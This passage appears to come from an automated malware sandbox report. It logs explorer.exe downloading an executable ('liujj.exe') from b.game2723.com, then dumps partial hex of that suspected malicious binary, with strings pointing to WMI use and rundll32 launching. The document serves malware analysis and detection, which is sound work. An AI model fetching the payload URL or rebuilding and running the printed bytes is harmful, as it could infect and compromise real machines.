2022-08-31 06:34:25 UTC	294	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49760	188.114.97.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 06:34:25 UTC	294	OUT	GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: b.game2723.com
2022-08-31 06:34:26 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:26 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename="liujj.exe" Content-Transfer-Encoding: binary Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6227 Last-Modified: Wed, 31 Aug 2022 04:50:39 GMT Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FZyY5p%2BfqyNS2Bgj%2BF1mh2DuWxrsfAwMHASfY10kf5PT9Et6Lan1Y1G3eE5g9LBxmuwUPtGCJTtwXOqdDhQdRliPMqtan%2FVCX3HPd0FJYtnDfxzhUjFRT%2BEfGrDmfWWkKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7433bd887e86bc03-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 06:34:26 UTC	295	IN	Data Raw: 31 64 31 64 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba 27 64 b3 fe 46 0a e0 fe 46 0a e0 fe 46 0a e0 3d 49 55 e0 ff 46 0a e0 d9 80 77 e0 ea 46 0a e0 d9 80 64 e0 ce 46 0a e0 d9 80 67 e0 90 46 0a e0 3d 49 57 e0 f7 46 0a e0 fe 46 0b e0 8d 46 0a e0 d9 80 78 e0 fc 46 0a e0 d9 80 72 e0 ff 46 0a e0 52 69 63 68 fe 46 0a e0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 71 b5 05 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 1d1dMZ@!L!This program cannot be run in DOS mode.$'dFFF=IUFwFdFgF=IWFFFxFrFRichFPELqc
2022-08-31 06:34:26 UTC	295	IN	Data Raw: 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c c8 00 00 00 10 00 00 00 d0 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 2b 00 00 00 e0 00 00 00 30 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 34 00 00 00 10 01 00 00 20 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 50 01 00 00 b0 01 00 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .text `.rdata,+0@@.dataD4 @.rsrcP0@@
2022-08-31 06:34:26 UTC	297	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 06:34:26 UTC	298	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 06:34:26 UTC	299	IN	Data Raw: 55 8b ec 83 ec 48 a1 20 10 41 00 33 c5 89 45 fc 57 68 c8 22 41 00 8d 45 f4 50 c6 45 f4 53 c6 45 f5 48 c6 45 f6 45 c6 45 f7 4c c6 45 f8 4c c6 45 f9 33 c6 45 fa 32 c6 45 fb 00 ff 15 0c e0 40 00 50 ff 15 08 e0 40 00 6a 38 8b f8 8d 45 bc 6a 00 50 e8 a0 1e 00 00 83 c4 0c 8d 45 b8 50 c7 45 b8 3c 00 00 00 c7 45 bc 40 04 00 00 c7 45 cc e0 fd 40 00 c7 45 d4 01 00 00 00 89 75 c8 c7 45 c4 d8 22 41 00 ff d7 8b 4d fc 33 cd 5f e8 55 09 00 00 c9 c3 55 8b ec 83 ec 7c a1 20 10 41 00 33 c5 89 45 fc 53 56 57 68 78 fd 40 00 e8 35 fe ff ff 50 ff 15 08 e0 40 00 8b f8 8d 45 9c 50 8d 75 d4 c7 45 9c 72 6f 6f 74 c7 45 a0 5c 63 69 6d c7 45 a4 76 32 00 00 e8 e7 fd ff ff 33 db 53 53 53 6a 03 53 53 53 6a ff 53 ff 15 80 e1 40 00 85 c0 7c 58 8d 45 bc 50 68 34 fb 40 00 6a 01 53 68 04 fc Data Ascii: UH A3EWh"AEPESEHEEELELE3E2E@P@j8EjPEPE<E@E@EuE"AM3_UU\| A3ESVWhx@5P@EPuErootE\cimEv23SSSjSSSjS@\|XEPh4@jSh
2022-08-31 06:34:26 UTC	301	IN	Data Raw: ff 89 bd c4 fd ff ff 8d 85 90 fd ff ff 74 06 8d 85 b8 fd ff ff 89 85 e4 fd ff ff 68 04 01 00 00 8d 85 f0 fd ff ff 50 8d 85 7c fd ff ff 50 c7 85 7c fd ff ff 54 00 45 00 c7 85 80 fd ff ff 4d 00 50 00 89 bd 84 fd ff ff ff 15 10 e0 40 00 85 c0 74 2f 8b 35 14 e0 40 00 68 94 fd 40 00 8d 85 f0 fd ff ff 50 ff d6 ff b5 e4 fd ff ff 8d 85 f0 fd ff ff 50 ff d6 8d 85 f0 fd ff ff 89 85 e4 fd ff ff 68 58 fd 40 00 e8 3e f9 ff ff 8b 35 08 e0 40 00 50 ff d6 83 7d 0c 02 0f 85 87 00 00 00 ff b5 e4 fd ff ff 8d 8d 4c fd ff ff 51 68 d8 2e 41 00 c7 85 4c fd ff ff 72 00 75 00 c7 85 50 fd ff ff 6e 00 64 00 89 9d 54 fd ff ff c7 85 58 fd ff ff 33 00 32 00 c7 85 5c fd ff ff 2e 00 65 00 c7 85 60 fd ff ff 78 00 65 00 c7 85 64 fd ff ff 20 00 22 00 c7 85 68 fd ff ff 25 00 73 00 c7 85 6c Data Ascii: thP\|P\|TEMP@t/5@h@PPhX@>5@P}LQh.ALruPndTX32\.e`xed "h%sl
2022-08-31 06:34:26 UTC	302	IN	Data Raw: eb 45 39 7d 10 74 16 39 75 0c 72 11 56 ff 75 10 ff 75 08 e8 ac 14 00 00 83 c4 0c eb c1 ff 75 0c 57 ff 75 08 e8 1b 14 00 00 83 c4 0c 39 7d 10 74 b6 39 75 0c 73 0e e8 62 04 00 00 6a 22 59 89 08 8b f1 eb ad 6a 16 58 5f 5e 5d c3 6a 0c 68 30 ff 40 00 e8 e5 11 00 00 33 c0 33 f6 39 75 08 0f 95 c0 3b c6 75 1d e8 33 04 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 b5 18 00 00 83 c4 14 83 c8 ff eb 5f e8 cc 18 00 00 6a 20 5b 03 c3 50 6a 01 e8 c5 0d 0a Data Ascii: E9}t9urVuuuWu9}t9usbj"YjX_^]jh0@339u;u3VVVVV_j [Pj
2022-08-31 06:34:26 UTC	302	IN	Data Raw: 37 66 66 39 0d 0a 19 00 00 59 59 89 75 fc e8 b5 18 00 00 03 c3 50 e8 28 1a 00 00 59 8b f8 8d 45 0c 50 56 ff 75 08 e8 9d 18 00 00 03 c3 50 e8 f8 1b 00 00 89 45 e4 e8 8d 18 00 00 03 c3 50 57 e8 95 1a 00 00 83 c4 18 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 9b 11 00 00 c3 e8 67 18 00 00 83 c0 20 50 6a 01 e8 b4 19 00 00 59 59 c3 a1 20 10 41 00 83 c8 01 33 c9 39 05 00 23 41 00 0f 94 c1 8b c1 c3 51 c7 01 ec e1 40 00 e8 32 25 00 00 59 c3 56 8b f1 e8 ea ff ff ff f6 44 24 08 01 74 07 56 e8 fb fd ff ff 59 8b c6 5e c2 04 00 83 3d 0c 23 41 00 02 74 05 e8 ac 2a 00 00 ff 74 24 04 e8 03 29 00 00 68 ff 00 00 00 e8 3b 26 00 00 59 59 c3 66 81 3d 00 00 40 00 4d 5a 75 33 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 22 66 81 b8 18 00 40 00 0b 01 75 17 83 b8 74 00 40 Data Ascii: 7ff9YYuP(YEPVuPEPWEEg PjYY A39#AQ@2%YVD$tVY^=#At*t$)h;&YYf=@MZu3<@@PEu"f@ut@
2022-08-31 06:34:26 UTC	304	IN	Data Raw: 40 00 56 be a0 11 41 00 57 8b 3e 85 ff 74 13 83 7e 04 01 74 0d 57 ff d3 57 e8 40 f9 ff ff 83 26 00 59 83 c6 08 81 fe c0 12 41 00 7c dc be a0 11 41 00 5f 8b 06 85 c0 74 09 83 7e 04 01 75 03 50 ff d3 83 c6 08 81 fe c0 12 41 00 7c e6 5e 5b c3 55 8b ec 8b 45 08 ff 34 c5 a0 11 41 00 ff 15 78 e0 40 00 5d c3 6a 0c 68 70 ff 40 00 e8 e7 0b 00 00 33 ff 47 89 7d e4 33 db 39 1d 34 26 41 00 75 18 e8 8a 25 00 00 6a 1e e8 e3 23 00 00 68 ff 00 00 00 e8 1b 21 00 00 59 59 8b 75 08 8d 34 f5 a0 11 41 00 39 1e 74 04 8b c7 eb 6e 6a 18 e8 0e 35 00 00 59 8b f8 3b fb 75 0f e8 fb fd ff ff c7 00 0c 00 00 00 33 c0 eb 51 6a 0a e8 59 00 00 00 59 89 5d fc 39 1e 75 2c 68 a0 0f 00 00 57 e8 19 34 00 00 59 59 85 c0 75 17 57 e8 70 f8 ff ff 59 e8 c5 fd ff ff c7 00 0c 00 00 00 89 5d e4 eb 0b Data Ascii: @VAW>t~tWW@&YA\|A_t~uPA\|^[UE4Ax@]jhp@3G}394&Au%j#h!YYu4A9tnj5Y;u3QjYY]9u,hW4YYuWpY]
2022-08-31 06:34:26 UTC	305	IN	Data Raw: 80 e0 40 00 3b c7 89 46 0c 75 12 ff 76 10 57 ff 35 34 26 41 00 ff 15 44 e0 40 00 eb 9b 83 4e 08 ff 89 3e 89 7e 04 ff 05 24 44 41 00 8b 46 10 83 08 ff 8b c6 5f 5e c3 55 8b ec 51 51 8b 4d 08 8b 41 08 53 56 8b 71 10 57 33 db eb 03 03 c0 43 85 c0 7d f9 8b c3 69 c0 04 02 00 00 8d 84 30 44 01 00 00 6a 3f 89 45 f8 5a 89 40 08 89 40 04 83 c0 08 4a 75 f4 6a 04 8b fb 68 00 10 00 00 c1 e7 0f 03 79 0c 68 00 80 00 00 57 ff 15 80 e0 40 00 85 c0 75 08 83 c8 ff e9 9d 00 00 00 8d 97 00 70 00 00 3b fa 89 55 fc 77 43 8b ca 2b cf c1 e9 0c 8d 47 10 41 83 48 f8 ff 83 88 ec 0f 00 00 ff 8d 90 fc 0f 00 00 89 10 8d 90 fc ef ff ff c7 40 fc f0 0f 00 00 89 50 04 c7 80 e8 0f 00 00 f0 0f 00 00 05 00 10 00 00 49 75 cb 8b 55 fc 8b 45 f8 05 f8 01 00 00 8d 4f 0c 89 48 04 89 41 08 8d 4a 0c Data Ascii: @;FuvW54&AD@N>~$DAF_^UQQMASVqW3C}i0Dj?EZ@@JujhyhW@up;UwC+GAH@PIuUEOHAJ
2022-08-31 06:34:26 UTC	306	IN	Data Raw: 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 c9 47 85 c9 7d f9 8b 4d f4 8b 54 f9 04 8b 0a 2b 4d f0 8b f1 c1 fe 04 4e 83 fe 3f 89 4d f8 7e 03 6a 3f 5e 3b f7 0f 84 01 01 00 00 8b 4a 04 3b 4a 08 75 5c 83 ff 20 bb 00 00 00 80 7d 26 8b cf d3 eb 8b 4d fc 8d 7c 38 04 f7 d3 89 5d ec 23 5c 88 44 89 5c 88 44 fe 0f 75 33 8b 4d ec 8b 5d 08 21 0b eb 2c 8d 4f e0 d3 eb 8b 4d fc 8d 8c 88 c4 00 00 00 8d 7c 38 04 f7 d3 21 19 fe 0f 89 5d ec 75 0b 8b 5d 08 8b 4d ec 21 4b 04 eb 03 8b 5d 08 83 7d f8 00 8b 4a 08 8b 7a 04 89 79 04 8b 4a 04 8b 7a 08 89 79 08 0f 84 8d 00 00 00 8b 4d f4 8d 0c f1 8b 79 04 89 4a 08 89 7a 04 89 51 04 8b 4a 04 89 51 08 8b 4a 04 3b 4a 08 75 5e 8a 4c 06 04 88 4d 0b fe c1 83 fe 20 Data Ascii: DMLD3#u#Mj _G}MT+MN?M~j?^;J;Ju\ }&M\|8]#\D\Du3M]!,OM\|8!]u]M!K]}JzyJzyMyJzQJQJ;Ju^LM
2022-08-31 06:34:26 UTC	308	IN	Data Raw: e4 89 44 8f e4 8b 44 8e e8 89 44 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 c4 32 40 00 8b ff d4 32 40 00 dc 32 40 00 e8 32 40 00 fc 32 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 60 34 40 00 8b ff f7 d9 ff 24 8d 10 34 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 64 33 40 00 ff 24 8d 60 34 40 00 90 74 33 40 00 98 33 40 00 c0 33 40 00 8a 46 03 23 d1 88 Data Ascii: DDDDDDDDDDDDD$2@2@2@2@2@E^_E^_FGE^_IFGFGE^_t1\|9u$r$`4@$4@Ir+$d3@$`4@t3@3@3@F#
2022-08-31 06:34:26 UTC	309	IN	Data Raw: 7e 08 89 3e 89 5e 18 89 5e 04 81 4e 0c 02 11 00 00 5f 33 c0 5b 40 5e c3 33 c0 5e c3 83 7c 24 04 00 74 27 56 8b 74 24 0c 66 f7 46 0c 00 10 74 19 56 e8 a7 29 00 00 81 66 0c ff ee ff ff 83 66 18 00 83 26 00 83 66 08 00 59 5e c3 8b 44 24 04 85 c0 56 8b f1 c6 46 0c 00 75 63 e8 c5 1b 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d d8 1c 41 00 74 12 8b 0d f4 1b 41 00 85 48 70 75 07 e8 87 34 00 00 89 06 8b 46 04 3b 05 f8 1a 41 00 74 16 8b 46 08 8b 0d f4 1b 41 00 85 48 70 75 08 e8 56 2d 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 04 8b c6 5e c2 04 00 f6 41 0c 40 74 06 83 79 08 00 74 24 ff 49 04 78 0b 8b 11 88 02 ff 01 0f b6 c0 eb 0c 0f be c0 51 50 e8 91 34 00 00 59 59 83 f8 ff 75 03 09 06 c3 ff 06 Data Ascii: ~>^^N_3[@^3^\|$t'Vt$fFtV)ff&fY^D$VFucFHlHhN;AtAHpu4F;AtFAHpuV-FF@puHpF@F^A@tyt$IxQP4YYu
2022-08-31 06:34:26 UTC	310	IN	Data Raw: f7 45 e8 30 08 75 75 81 4d e8 00 08 00 00 eb 6c 66 f7 45 e8 30 08 75 07 81 4d e8 00 08 00 00 8b 4d e0 83 f9 ff 75 05 b9 ff ff ff 7f 83 c7 04 66 f7 45 e8 10 08 89 7d d4 8b 7f fc 89 7d dc 0f 84 b4 03 00 00 3b fe 75 08 a1 44 15 41 00 89 45 dc 8b 45 dc c7 45 bc 01 00 00 00 e9 8e 03 00 00 83 e8 58 0f 84 39 02 00 00 48 48 74 5d 2b c1 0f 84 64 ff ff ff 48 48 0f 85 9e 03 00 00 83 c7 04 66 f7 45 e8 10 08 89 7d d4 74 27 0f b7 47 fc 50 68 00 02 00 00 8d 45 ec 50 8d 45 d8 50 e8 fc 32 00 00 83 c4 10 85 c0 74 16 c7 45 b0 01 00 00 00 eb 0d 8a 47 fc 88 45 ec c7 45 d8 01 00 00 00 8d 45 ec 89 45 dc e9 51 03 00 00 8b 07 83 c7 04 3b c6 89 7d d4 74 2e 8b 48 04 3b ce 74 27 66 f7 45 e8 00 08 0f bf 00 89 4d dc 74 11 99 2b c2 d1 f8 c7 45 bc 01 00 00 00 e9 1c 03 00 00 89 75 bc e9 Data Ascii: E0uuMlfE0uMMufE}};uDAEEEX9HHt]+dHHfE}t'GPhEPEP2tEGEEEEQ;}t.H;t'fEMt+Eu
2022-08-31 06:34:26 UTC	312	IN	Data Raw: 50 50 50 50 e9 23 f7 ff ff 80 7d a8 00 74 07 8b 45 a4 83 60 70 fd 8b 45 cc 8b 8d f4 01 00 00 5f 5e 33 cd 5b e8 10 d9 ff ff 81 c5 f8 01 00 00 c9 c3 8d 49 00 84 3c 40 00 eb 3a 40 00 06 3b 40 00 55 3b 40 00 8f 3b 40 00 97 3b 40 00 ce 3b 40 00 c6 3c 40 00 6a 0c 68 90 ff 40 00 e8 e2 eb ff ff 6a 0e e8 ab e0 ff ff 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 a0 27 41 00 ba 9c 27 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 b1 d8 ff ff 59 ff 76 04 e8 a8 d8 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 d1 eb ff ff c3 8b d0 eb c5 6a 0e e8 78 df ff ff 59 c3 cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 Data Ascii: PPPP#}tE`pE_^3[I<@:@;@U;@;@;@;@<@jh@jYeuNt/'A'AEt9u,HJPYvYfEjxYT$L$u<:u.t&:au%t:Aut:au
2022-08-31 06:34:26 UTC	313	IN	Data Raw: 56 56 56 56 56 e8 d6 ec ff ff 83 c4 14 eb 02 33 f6 68 08 e8 40 00 53 55 e8 9c 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 b2 ec ff ff 83 c4 14 ff 34 fd 5c 15 41 00 53 55 e8 7a 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 90 ec ff ff 83 c4 14 68 10 20 01 00 68 e0 e7 40 00 55 e8 b8 2e 00 00 83 c4 0c eb 33 6a f4 ff 15 94 e0 40 00 8b e8 3b ee 74 25 83 fd ff 74 20 6a 00 8d 44 24 14 50 8d 34 fd 5c 15 41 00 ff 36 e8 71 26 00 00 59 50 ff 36 55 ff 15 90 e0 40 00 5d 5f 5e 5b 59 c3 6a 03 e8 35 31 00 00 83 f8 01 59 74 15 6a 03 e8 28 31 00 00 85 c0 59 75 1f 83 3d 1c 10 41 00 01 75 16 68 fc 00 00 00 e8 34 fe ff ff 68 ff 00 00 00 e8 2a fe ff ff 59 59 c3 c3 55 8b ec 51 51 56 e8 b0 0a 00 00 8b f0 85 f6 75 0e ff 75 0c ff 15 5c e0 40 00 e9 4d 01 00 00 8b 56 5c a1 94 Data Ascii: VVVVV3h@SU0tVVVVV4\ASUz0tVVVVVh h@U.3j@;t%t jD$P4\A6q&YP6U@]_^[Yj51Ytj(1Yu=Auh4h*YYUQQVuu\@MV\
2022-08-31 06:34:26 UTC	314	IN	Data Raw: 00 eb 05 a1 14 2d 41 00 83 f8 01 75 54 3b f7 75 0f ff d3 8b f0 3b f7 75 07 33 c0 e9 f4 00 00 00 66 39 3e 8b c6 74 0e 40 40 66 39 38 75 f9 40 40 66 39 38 75 f2 2b c6 40 40 8b e8 55 e8 b7 0a 00 00 8b d8 85 db 59 75 0c 56 ff 15 a8 e0 40 00 e9 be 00 00 00 55 56 53 e8 bc e3 ff ff 83 c4 0c eb e7 83 f8 02 74 04 3b c7 75 af ff 15 a4 e0 40 00 8b e8 33 db 3b eb 74 a1 38 5d 00 8b f5 74 23 53 53 6a ff 56 6a 01 53 ff 15 00 e0 40 00 3b c3 74 88 56 03 f8 e8 0f 21 00 00 8d 74 06 01 38 1e 59 75 dd 47 6a 02 57 89 7c 24 18 e8 89 0a 00 00 8b d8 85 db 59 59 75 0c 55 ff 15 a0 e0 40 00 e9 56 ff ff ff 80 7d 00 00 8b fd 8b f3 74 3a 8b 4c 24 10 8b c6 2b c3 d1 f8 2b c8 51 56 6a ff 57 6a 01 6a 00 ff 15 00 e0 40 00 85 c0 74 2e 57 e8 b6 20 00 00 56 8d 7c 07 01 e8 3a 2c 00 00 80 3f 00 Data Ascii: -AuT;u;u3f9>t@@f98u@@f98u+@@UYuV@UVSt;u@3;t8]t#SSjVjS@;tV!t8YuGjW\|$YYuU@V}t:L$++QVjWjj@t.W V\|:,?
2022-08-31 06:34:26 UTC	316	IN	Data Raw: 28 2d 41 00 e8 54 ff ff ff 59 ff d0 83 0d c0 16 41 00 ff a1 c4 16 41 00 83 f8 ff 74 0e 50 ff 15 d0 e0 40 00 83 0d c4 16 41 00 ff e9 aa cf ff ff 6a 0c 68 f0 ff 40 00 e8 fb db ff ff 68 54 e8 40 00 ff 15 88 e0 40 00 89 45 e4 8b 75 08 c7 46 5c 10 16 41 00 33 ff 47 89 7e 14 85 c0 74 24 68 44 e8 40 00 50 8b 1d 08 e0 40 00 ff d3 89 86 f8 01 00 00 68 64 e8 40 00 ff 75 e4 ff d3 89 86 fc 01 00 00 89 7e 70 c6 86 c8 00 00 00 43 c6 86 4b 01 00 00 43 b8 d0 16 41 00 89 46 68 50 ff 15 d4 e0 40 00 6a 0c e8 5e d0 ff ff 59 83 65 fc 00 8b 45 0c 89 46 6c 85 c0 75 08 a1 d8 1c 41 00 89 46 6c ff 76 6c e8 39 18 00 00 59 c7 45 fc fe ff ff ff e8 06 00 00 00 e8 a2 db ff ff c3 6a 0c e8 4d cf ff ff 59 c3 56 57 ff 15 40 e0 40 00 8b f8 e8 d6 fe ff ff ff 35 c0 16 41 00 ff 35 c4 16 41 00 Data Ascii: (-ATYAAtP@Ajh@hT@@EuF\A3G~t$hD@P@hd@u~pCKCAFhP@j^YeEFluAFlvl9YEjMYVW@@5A5A
2022-08-31 06:34:26 UTC	317	IN	Data Raw: ff d6 89 45 e0 eb 2f 8b 45 ec 8b 00 8b 00 89 45 dc 33 c9 3d 17 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 81 7d dc 17 00 00 c0 75 08 6a 08 ff 15 d8 e0 40 00 83 65 e0 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 de d6 ff ff c3 56 57 33 f6 ff 74 24 0c e8 3c 1a 00 00 8b f8 85 ff 59 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c9 8b c7 5f 5e c3 56 57 33 f6 6a 00 ff 74 24 14 ff 74 24 14 e8 01 22 00 00 8b f8 83 c4 0c 85 ff 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c1 8b c7 5f 5e c3 56 57 33 f6 ff 74 24 10 ff 74 24 10 e8 d9 22 00 00 8b f8 85 ff 59 59 75 2d 39 44 24 10 74 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 Data Ascii: E/EE3=e}uj@eEEVW3t$<Yu'90-AvV@;0-Avu_^VW3jt$t$"u'90-AvV@;0-Avu_^VW3t$t$"YYu-9D$t'90-AvV@
2022-08-31 06:34:26 UTC	318	IN	Data Raw: 54 24 10 89 02 b8 03 00 00 00 c3 55 8b 4c 24 08 8b 29 ff 71 1c ff 71 18 ff 71 28 e8 15 ff ff ff 83 c4 0c 5d c2 04 00 55 56 57 53 8b ea 33 c0 33 db 33 d2 33 f6 33 ff ff d1 5b 5f 5e 5d c3 8b ea 8b f1 8b c1 6a 01 e8 47 21 00 00 33 c0 33 db 33 c9 33 d2 33 ff ff e6 55 8b ec 53 56 57 6a 00 6a 00 68 af 5d 40 00 51 e8 4d 47 00 00 5f 5e 5b 5d c3 55 8b 6c 24 08 52 51 ff 74 24 14 e8 b4 fe ff ff 83 c4 0c 5d c2 08 00 cc cc cc cc cc 8b 4c 24 04 66 81 39 4d 5a 74 03 33 c0 c3 8b 41 3c 03 c1 81 38 50 45 00 00 75 f0 33 c9 66 81 78 18 0b 01 0f 94 c1 8b c1 c3 cc cc cc cc cc cc cc 8b 44 24 04 8b 48 3c 03 c8 0f b7 41 14 53 56 0f b7 71 06 33 d2 85 f6 57 8d 44 08 18 76 1e 8b 7c 24 14 8b 48 0c 3b f9 72 09 8b 58 08 03 d9 3b fb 72 0c 83 c2 01 83 c0 28 3b d6 72 e6 33 c0 5f 5e 5b c3 Data Ascii: T$UL$)qqq(]UVWS33333[_^]jG!33333USVWjjh]@QMG_^[]Ul$RQt$]L$f9MZt3A<8PEu3fxD$H<ASVq3WDv\|$H;rX;r(;r3_^[
2022-08-31 06:34:26 UTC	320	IN	Data Raw: 45 d4 ff ff 59 59 33 d2 42 89 55 fc a1 14 34 41 00 8b 04 b0 8b 48 0c f6 c1 83 74 2f 39 55 08 75 11 50 e8 50 ff ff ff 59 83 f8 ff 74 1e ff 45 e4 eb 19 39 7d 08 75 14 f6 c1 02 74 0f 50 e8 35 ff ff ff 59 83 f8 ff 75 03 09 45 dc 89 7d fc e8 08 00 00 00 46 eb 84 33 ff 8b 75 e0 a1 14 34 41 00 ff 34 b0 56 e8 32 d4 ff ff 59 59 c3 c7 45 fc fe ff ff ff e8 12 00 00 00 83 7d 08 01 8b 45 e4 74 03 8b 45 dc e8 e8 cb ff ff c3 6a 01 e8 93 bf ff ff 59 c3 6a 01 e8 1f ff ff ff 59 c3 8b 44 24 04 83 f8 fe 75 0e e8 e3 bd ff ff c7 00 09 00 00 00 33 c0 c3 56 33 f6 3b c6 7c 08 3b 05 f4 32 41 00 72 1c e8 c6 bd ff ff 56 56 56 56 56 c7 00 09 00 00 00 e8 48 d2 ff ff 83 c4 14 33 c0 5e c3 8b c8 83 e0 1f 6b c0 28 c1 f9 05 8b 0c 8d 00 33 41 00 0f b6 44 